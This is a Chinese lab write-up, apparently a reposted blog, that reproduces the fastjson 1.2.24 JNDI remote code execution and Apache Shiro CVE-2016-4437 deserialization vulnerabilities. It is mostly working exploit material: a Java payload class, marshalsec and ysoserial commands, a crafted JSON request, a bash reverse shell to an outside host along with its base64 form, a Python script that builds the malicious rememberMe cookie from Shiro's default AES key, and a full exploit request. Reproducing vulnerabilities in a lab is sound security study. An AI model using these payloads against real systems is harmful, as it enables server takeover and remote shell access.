fastjson_1.2.24和Shiro(CVE-2016-4437)漏洞复现

news2024/11/17 4:50:00

文章目录

  • 一、fastjson 1.2.24远程命令执行漏洞复现
  • 二、shiro反序列化漏洞(CVE-2016-4437)
    • 1、Shiro漏洞原理
    • 2、手工验证漏洞
    • 3、使用ShiroAttack2

一、fastjson 1.2.24远程命令执行漏洞复现

配置环境:本机java 8环境 + kali操作系统(java8)

cd ./vulhub-master/fastjson/1.2.24-rce/ # 进入目标文件夹
docker-compose up -d # 启动环境

在这里插入图片描述
浏览器访问127.0.0.1:8090.
在这里插入图片描述
将下面代码保存到TouchFile.java中。

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

使用javac编译TouchFile.java
在这里插入图片描述
TouchFile.class复制到kali中,并开启http服务。

python -m http.server 4444

在这里插入图片描述
在本机中安装apache-maven-3.9.6-bin.zip,加一个环境变量,就可以用了~
在这里插入图片描述
在这里插入图片描述
下载marshalsec,然后使用mvn clean package -DskipTests命令生成marshalsec-0.0.3-SNAPSHOT-all.jar

在这里插入图片描述
在这里插入图片描述
marshalsec-0.0.3-SNAPSHOT-all.jar复制到kali中,并使用java8运行下面的命令

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.92.6:4444/#TouchFile" 9999

在这里插入图片描述
在burp中重放下面的数据包:

POST / HTTP/1.1
Host: 192.168.92.6:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.92.6:9999/TouchFile",
        "autoCommit":true
    }
}

在这里插入图片描述
可以看到rmi端显示:
在这里插入图片描述

到靶机里查看命令是否执行成功,输入命令进入fastjson环境容器执行 bash。

docker ps # 查看容器ID
docker exec -it <container_id> bash # 进入shell环境
cd /tmp & ls # 查看是否存在success文件

在这里插入图片描述
到此,复现成功~

二、shiro反序列化漏洞(CVE-2016-4437)

1、Shiro漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会将用户信息加密,加密过程:用户信息=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。如果用户勾选记住密码,那么在请求中会携带cookie,并且将加密信息存放在cookie的rememberMe字段里面,在服务端收到请求对rememberMe值,先base64解码然后AES解密再反序列化,这个加密过程如果我们知道AES加密的密钥,那么我们把用户信息替换成恶意命令,就导致了反序列化RCE漏洞。在shiro版本<=1.2.4中使用了默认密钥kPH+bIxk5D2deZiIxcaaaA==,这就更容易触发RCE漏洞。

故Payload产生的过程:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

2、手工验证漏洞

简单判断漏洞是否存在:勾选记住密码选项后,点击登录,抓包,观察请求包中是否有rememberme字段,响应包中是否有Set-cookie:rememberMe=deleteMe字段。
在这里插入图片描述
具体判断漏洞是否存在:
在这里插入图片描述
手工复现
kali开启5555端口监听

nc -lnvp 5555 # kali监听5555端口

反弹shell命令,是为了获取靶机的shell,同时当命令中包含重定向 <、> 和管道符 | 时,需要进行 base64 编码绕过检测(不编码,执行不了,已经试过了~)runtime-exec

bash -i >& /dev/tcp/192.168.92.6/5555 0>&1 # 反弹shell命令,用shiro反序列化漏洞让靶机执行
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}

在这里插入图片描述
执行下面的命令:

git clone https://github.com/frohoff/ysoserial.git # 下载ysoserial-all.jar

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}"
# 这串代码的大致意思就是:在kali上搭建一个服务器,监听了7777端口,并且存放了反弹到5555端口的反弹shell,且该反弹shell是通过CommonsCollections5利用链生成的反序列化数据。

注意:这里java版本要用java8。
在这里插入图片描述
生成AES加密=>Base64编码后的rememberMe字段:

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java<最好用绝对路径>', '-jar', 'ysoserial-all.jar<最好用绝对路径>'', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
 
if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())

注意:python版本为python2.7;还有用pip2安装pycryptodome,即pip install pycryptodome

在这里插入图片描述
在这里插入图片描述
向目标服务器发送下面的数据包

POST /doLogin HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Origin: http://127.0.0.1:8080
Connection: close
Referer: http://127.0.0.1:8080/login;jsessionid=F02F219A55D5D439A3CC841489816ADF
Cookie: JSESSIONID=F02F219A55D5D439A3CC841489816ADF;rememberMe=mHG+Lu46TyikBy2cgkoOaj3UIdXJytnsFdI4mSd9P5V/cYekTMKeTdmZWfosHFPw9fBw0LpQxALUX3V7uLM4ClTztYsVS/VkumK17LO3M7uUN6tHIcFcy/iFtxCIeRnAYr+fV3MXwrUpgi9nfs9fMWnzv22imiIMXwaj1rYEly9XY9KrKr19MiNx2vAa/DXdvH8wm63XFLROd1iSb8FL9WdHKw60w+fy+jCsKeaibsi6NIJqcoTeePDCq4FFU3yAJh3x7bqThGg5NPpdPCwtQ7KBRiYjOxjs8RSwcydwws9G7DmaJW/2Rzq1dsa9T2aVQUi4kkbhrjSnG/suAW6aGapy4u+wORmduJDS9aIn9NFT9dXqEK4L0iRGPfF6aQ88HFSzT6zBxOVUOis/Tt/s5g==
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

username=123&password=123&rememberme=remember-me

在这里插入图片描述
结果:
在这里插入图片描述
在这里插入图片描述
攻击过程复盘
对于攻击者而言,核心就是干了两件事:

  1. 搭建VPS进行JRMPListener,存放反弹shell的payload1,且该payload是恶意的序列化数据;
  2. 将上述VPS进行JRMPListener的地址进行了AES加密和base64编码,构造请求包cookie中的rememberMe字段,向存在漏洞的服务器发送加密编码后的结果payload2。

靶机服务器的沦陷过程:

  1. 接收到请求包payload2,进行base64解码=>AES解密,发现要和一个VPS的JRMP 7777端口进行通信。
  2. 向恶意站点VPS的JRMP 7777进行请求,接收到了到了序列化后的恶意代码(反弹shell到攻击机的6666端口)payload1。
  3. 对payload1执行了反序列化,执行了反弹shell的恶意命令,就此沦陷。

3、使用ShiroAttack2

直接使用工具ShiroAttack2。

  1. 直接爆破密码,注意目标地址要加上协议~
    在这里插入图片描述
  2. 爆破利用链及回显
    在这里插入图片描述
  3. 远程执行命令
    在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1676394.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如果你想学习大数据,那么你应该看看这些高分佳作

大家好&#xff0c;我是王有志&#xff0c;一个分享硬核 Java 技术的金融摸鱼侠&#xff0c;欢迎大家加入 Java人自己的交流群“共同富裕的 Java 人”。 今天和大家分享的主题是&#xff1a;大数据入门书籍。公众号内回复关键字&#xff1a;20240515&#xff0c;即可获取。 &a…

【正版系统】海外短剧系统功能介绍,前端uniapp+开源。

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言 一、海外短剧系统功能介绍 二、搭建要求 1.系统要求 总结 前言 短剧作为一种快速、紧凑的娱乐形式&#xff0c;正逐渐受到更多海外观众的喜爱。这种需求增长为…

基于RTL8710BN与天猫精灵的WIFI智能家居方案

0 项目简介 目的&#xff1a; 语音控制智能家居产品 基于阿里云的物联网产品 基于WiFi技术的嵌入式产品 主要技术&#xff1a; WiFi技术 常用的物联网协议 网络编程 云平台配置 MCU OPENSDK开发 阿里物联网操作系统 硬件&#xff1a; wifi开发板RTL8710BN 天猫精灵…

版本控制:软件开发的基石(一文读懂版本控制)

未经允许&#xff0c;禁止转载&#xff01; 在现代软件开发中&#xff0c;版本控制是不可或缺的工具。它帮助开发者跟踪和管理代码的变化&#xff0c;协作完成项目&#xff0c;并确保代码的完整性和安全性。本文将基于Git官网的视频“什么是版本控制”来深入探讨版本控制的基本…

Linux常用指令集合

ls显示目录文件 选项&#xff1a; -a 所有文件&#xff08;all所有&#xff09; -l 详细信息&#xff08;Information信息&#xff09;&#xff08;自动包含-1&#xff09; 所以常用 ll -1 一行只输出一个文件。 -R 列出所有子目录下的文件。…

优雅谈论大模型4:初识Token

Token 在继续前行之前&#xff0c;需要先停下来澄清下Token这个词&#xff0c;以及如何将原始的语料转化为Token&#xff0c;在细究背后的原理之后会更加优雅的理解大模型。任何的资讯都可以生成语料&#xff0c;而这些语料需要被机器理解以及供后续的模型训练&#xff0c;那么…

Nginx配置Referer防盗链

系列文章目录 文章目录 系列文章目录前言 前言 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站&#xff0c;这篇文章男女通用&#xff0c;看懂了就去分享给你的码吧。 HTTP Referer是Hea…

mongodb备份还原指南

MongoDB 提供的命令行实用程序mongodump和mongorestore创建备份和恢复数据的过程。 一、数据备份 mongorestore和mongodump实用程序可处理BSON数据转储&#xff0c;对于创建小型部署的备份非常有用。要实现弹性且无中断的备份&#xff0c;请将文件系统快照或区块级磁盘快照与…

Ubuntu20.04调试功能包的一些报错解决办法【更新中2024.05.14】

一、Could not find a package configuration file provided by “catkin_virtualenv” 解决办法&#xff1a; sudo apt install ros-noetic-catkin-virtualenv二、 ERROR: Could not find a version that satisfies the requirement pip-tools5.1.2 (from versions: none) …

优选算法——双指针2

题目一——有效三角形的个数 思路 先审题 举个例子&#xff0c;下面一个序列可分成4个三元组 然后我们论证哪个可以组成三角形即可 判断三个数能不能组成三角形&#xff1a;任意两边之和大于第三边 注意第一个和第四个&#xff0c;有人说&#xff0c;这不是两个相同的吗&#…

数据结构与算法学习笔记十---链队列的表示和实现(C语言)

目录 前言 1.什么是链队 2.链队的表示和实现 1.定义 2.初始化 3.销毁 4.清空 5.空队列 6.队列长度 7.获取队头 8.入队 9.出队 10.遍历队列 11.完整代码 前言 本篇博客介绍链栈队列的表示和实现。 1.什么是链队 链队是采用链式存储结构实现的队列。通常链队使用单…

AcWing166. 数独-DFS剪枝与优化

题目 思路 思考问题&#xff1a;搜索顺序->考虑剪枝搜索顺序&#xff1a;先随意选择一个空格子&#xff0c;枚举该格子可填写的数字&#xff0c;当所有格子都填完的时候&#xff0c;说明可以退出了剪枝&#xff1a; 优化搜索顺序&#xff1a;随意选择一个空格子&#xff1a…

83.网络游戏逆向分析与漏洞攻防-移动系统分析-游戏瞬移漏洞的测试与分析

免责声明&#xff1a;内容仅供学习参考&#xff0c;请合法利用知识&#xff0c;禁止进行违法犯罪活动&#xff01; 如果看不懂、不知道现在做的什么&#xff0c;那就跟着做完看效果&#xff0c;代码看不懂是正常的&#xff0c;只要会抄就行&#xff0c;抄着抄着就能懂了 内容…

JSON格式化输出到页面上——数组+对象+JSON字符串+汉字——基础积累

实现功能&#xff1a;将接口返回的内容格式化后展示到页面上。 对象数组——效果图 对象——效果图 汉字——效果图 直接上代码&#xff1a; 解决步骤1&#xff1a;html代码 <div><div class"contentWrp" style"margin-top: 10px"><div …

vue 文本中的\n 、<br>换行显示

一、背景&#xff1a; 后端接口返回数据以\n 作为换行符&#xff0c;前端显示时候需要换行显示&#xff1b; demo&#xff1a; <p style"white-space: pre-wrap;">{{ info }}</p>data() {return {info: 1、优化图片\n 2、 优化时间\n}},项目上&#…

企业内部文化社区究竟有哪些好处?

首先&#xff0c;我们来了解下&#xff0c;企业内耗是什么? 在企业文化管理中&#xff0c;内耗是一个常见的问题&#xff0c;它会影响企业的团队协作、执行效率和绩效表现。在2023《哈佛商业评论》中国年会上&#xff0c;北大汇丰商学院管理实践教授陈玮分享了他对组织管理的…

vue下载文件,获取header头文件名乱码,下载文件名有下划线的解决

后台以数据流将文件返回&#xff0c;将文件名放在header头里&#xff0c;是中文名&#xff0c;有乱码&#xff0c;如图 访问网络使用的是axios&#xff0c;在 // 响应拦截器 service.interceptors.response.use((res) > {........ if (res.config.responseType blob) {//文…

第十六篇:数据库性能优化:从基础到高级的全面指南

数据库性能优化&#xff1a;从基础到高级的全面指南 1. 引言 在数字化的浪潮中&#xff0c;数据库作为信息系统的核心组件&#xff0c;其性能的优劣直接关系到企业的运营效率和市场竞争力。数据库性能优化不仅是一项技术挑战&#xff0c;更是一项战略任务。它要求我们深入理解…

数据结构(栈):中缀表达式转后缀表达式题型的快速图解法(求栈中操作符等)

2024/5/14&#xff1a; 学编译原理的时候接触到了递归树的画法&#xff0c;中缀转后缀的解题过程和编译原理中的递归树有异曲同工之妙。今日解题的时候想了一下图解法&#xff0c;遂记录&#xff0c;本质上是对递归树的改进。 图解原理概述 以表达式 ab*(c-d)e 为例&#xff0c…

Redis一主二从三哨兵配置

一.安装Redis&#xff08;三台主机&#xff09; 1.下载redis安装程序 访问https://redis.io/download/ 进行对应系统和版本的下载&#xff0c;以下以redis的7.0.5为例安装 2.安装redis mkdir -p /data/soft #创建软件安装程序的存放目录 cd /data/soft #进入目录&#xff0…